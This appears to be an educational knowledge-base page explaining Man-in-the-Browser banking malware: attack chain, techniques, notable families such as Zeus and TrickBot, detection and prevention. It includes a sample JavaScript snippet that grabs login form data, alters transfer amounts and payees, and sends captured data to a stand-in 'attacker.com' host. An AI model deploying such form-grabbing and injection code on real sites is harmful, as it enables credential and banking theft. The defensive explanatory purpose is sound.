Overview Attack Chain Techniques Tools Detection Prevention Legal Resources

Man-in-the-Browser (MitB) Guide

What is Man-in-the-Browser (MitB)?

Man-in-the-Browser (MitB) is a sophisticated form of cyberattack where malware infects a user's web browser to intercept, modify, or inject content into web transactions in real-time—bypassing SSL/TLS encryption, two-factor authentication (2FA), and other security controls. Unlike Man-in-the-Middle (MitM) attacks that operate at network level, MitB operates within the browser itself (through browser extensions, DLL injection, or JavaScript hooks), making it invisible to both the user and the web server. MitB is primarily used to steal banking credentials, online payment information, and credit card data.

Attack Prevalence: MitB malware was responsible for 80% of online banking fraud in 2010-2015 (Zeus, SpyEye). Modern MitB attacks decreased with browser security improvements, but still active in targeted campaigns. Average financial loss per MitB attack: $50,000-$500,000.

80%
Online Banking Fraud (2010-2015)
$50-500K
Average Financial Loss
3+
Major MitB Malware Families

Common targets of Man-in-the-Browser attacks:

How Man-in-the-Browser Works (Attack Chain)

1. Infection Vector

Malware installed via phishing email (malicious attachment), drive-by download, software bundling, or exploit kit.

2. Browser Hooking

Malware injects malicious DLL (Windows) or browser extension to intercept browser APIs (DOM, HTTP requests).

3. Web Transaction Interception

When user visits bank website, malware modifies DOM (web page) in real-time, injecting fake fields (additional amount, account number).

4. Credential & Data Theft

Malware captures login credentials, credit card numbers, and modifies transactions before submission.

// Man-in-the-Browser (MitB) attack technical flow // 1. Malware injects JavaScript into banking website // Victim visits bank.com, malware hooks DOMContentLoaded document.addEventListener('DOMContentLoaded', function() { // Intercept login form submission var loginForm = document.getElementById('loginForm'); loginForm.addEventListener('submit', function(e) { var username = document.getElementById('username').value; var password = document.getElementById('password').value; // Send credentials to attacker server fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({username: username, password: password}) }); }); }); // 2. Web injection (modify transaction amount) // Victim initiates $100 transfer → malware changes to $10,000 var amountField = document.getElementById('amount'); amountField.value = '10000'; // Changed from $100 to $10,000 // 3. Web injection (add additional payee) var payeeField = document.getElementById('payee'); payeeField.value = 'Attacker Account'; // 4. Form grabbing (intercept form data before HTTPS encryption) XMLHttpRequest.prototype.send = function(data) { // Capture form data before encryption if (this.url.includes('/transfer')) { fetch('https://attacker.com/capture', {method: 'POST', body: data}); } return originalSend(data); };

Man-in-the-Browser Techniques

DLL Injection (Browser Helper Objects - BHO)

Malware injects malicious DLL into browser process (chrome.exe, firefox.exe). Intercepts Windows API calls (Send, Recv, WSASend, WSARecv). Works on Internet Explorer (BHO) and older browsers. Modern browsers (Chrome, Firefox) have stronger process isolation.

Legacy

Malicious Browser Extensions

Malware installs malicious Chrome/Firefox extensions with permissions: "read and modify all your data on websites", "manage your downloads". Extension injects JavaScript into banking websites to steal credentials, modify transactions.

Modern

Web Injection (HTML/JavaScript)

Malware injects JavaScript into HTML pages (DOM manipulation) to add fake login forms, modify transaction amounts, or add additional payees. Uses document.createElement, innerHTML, or eval. Bypasses HTTPS because malware runs in browser context.

Core Technique

Form Grabbing (Before Encryption)

Malware intercepts form data (username, password, credit card) before HTTPS encryption. Overrides XMLHttpRequest.send, fetch, or hooks WinHTTP APIs. Bypasses SSL/TLS entirely.

Notable Man-in-the-Browser Malware Families

Zeus (Zbot)

Infamous banking Trojan (2007-2014) with MitB capabilities. Stole millions in financial credentials via web injection and form grabbing. Source code leaked (2011) leading to many variants. Used for online banking fraud, credential theft.

SpyEye (MitB Toolkit)

Banking Trojan (2010-2013) with MitB capabilities similar to Zeus. Targeted online banking customers. Features: web injection, form grabbing, credential theft, and automatic transfer system (ATS).

Gozi (Ursnif)

MitB banking Trojan (2007-2015) targeting financial institutions in US, UK, Europe. Used web injection and form grabbing to steal credentials. Gozi variant "Vawtrak" active until 2018.

Ramnit (MitB)

Banking Trojan (2010-2015) with MitB capabilities. Web injection, form grabbing, credential theft. Stole $20+ million from financial institutions before takedown (2015).

TrickBot (Web inject)

Modern banking Trojan (2016-2022) with web injection modules for MitB attacks. Targets online banking, crypto exchanges, and email providers. Uses HTML injection to add fake login forms.

Detecting Man-in-the-Browser Attacks

Browser Extension Audit

Check installed extensions regularly (chrome://extensions/, about:addons). Remove unfamiliar extensions with permissions: "read and modify all your data". Look for generic names ("Helper", "Assistant", "Security Tool").

Antivirus/EDR Detection

Modern EDR solutions (CrowdStrike, Microsoft Defender for Endpoint) detect MitB malware (Zeus, SpyEye, TrickBot, Ramnit) via process injection detection and behavior monitoring (suspicious DLL injection into browser).

Unusual Browser Behavior

Slow browser performance, unexpected pop-ups, redirects to unfamiliar websites, browser crashes, or new toolbars/extensions appearing without user action.

Preventing Man-in-the-Browser Attacks

Use Separate Device for Banking

Use dedicated computer for financial transactions (no email, web browsing, software downloads). Reduces infection risk from malware delivered via phishing or drive-by downloads.

Endpoint Protection (EDR)

Deploy EDR/antivirus with MitB malware detection (Zeus, SpyEye, TrickBot). Enable real-time protection and regular scanning (weekly full scans).

Limit Browser Extensions

Only install extensions from official stores (Chrome Web Store, Firefox Add-ons). Regularly audit extensions (remove unused). Disable extensions when not needed.

Use Mobile Banking Apps

Mobile apps (iOS, Android) have stronger isolation than desktop browsers. Banking apps use certificate pinning, code signing, and hardware-backed keystores, making MitB harder.

Best Practice - Dedicated Banking Device: Use separate, dedicated device for online banking (no email, web browsing, or untrusted software). Keep device patched and antivirus updated. Enable transaction confirmation via SMS or authenticator app (2FA). Regularly audit browser extensions.

Further Resources

Zeus (Zbot) Analysis (Kaspersky)

Technical analysis of Zeus banking Trojan and MitB capabilities.

MitB Prevention (OWASP)

OWASP recommendations for preventing Man-in-the-Browser attacks.

← Back to Knowledge Base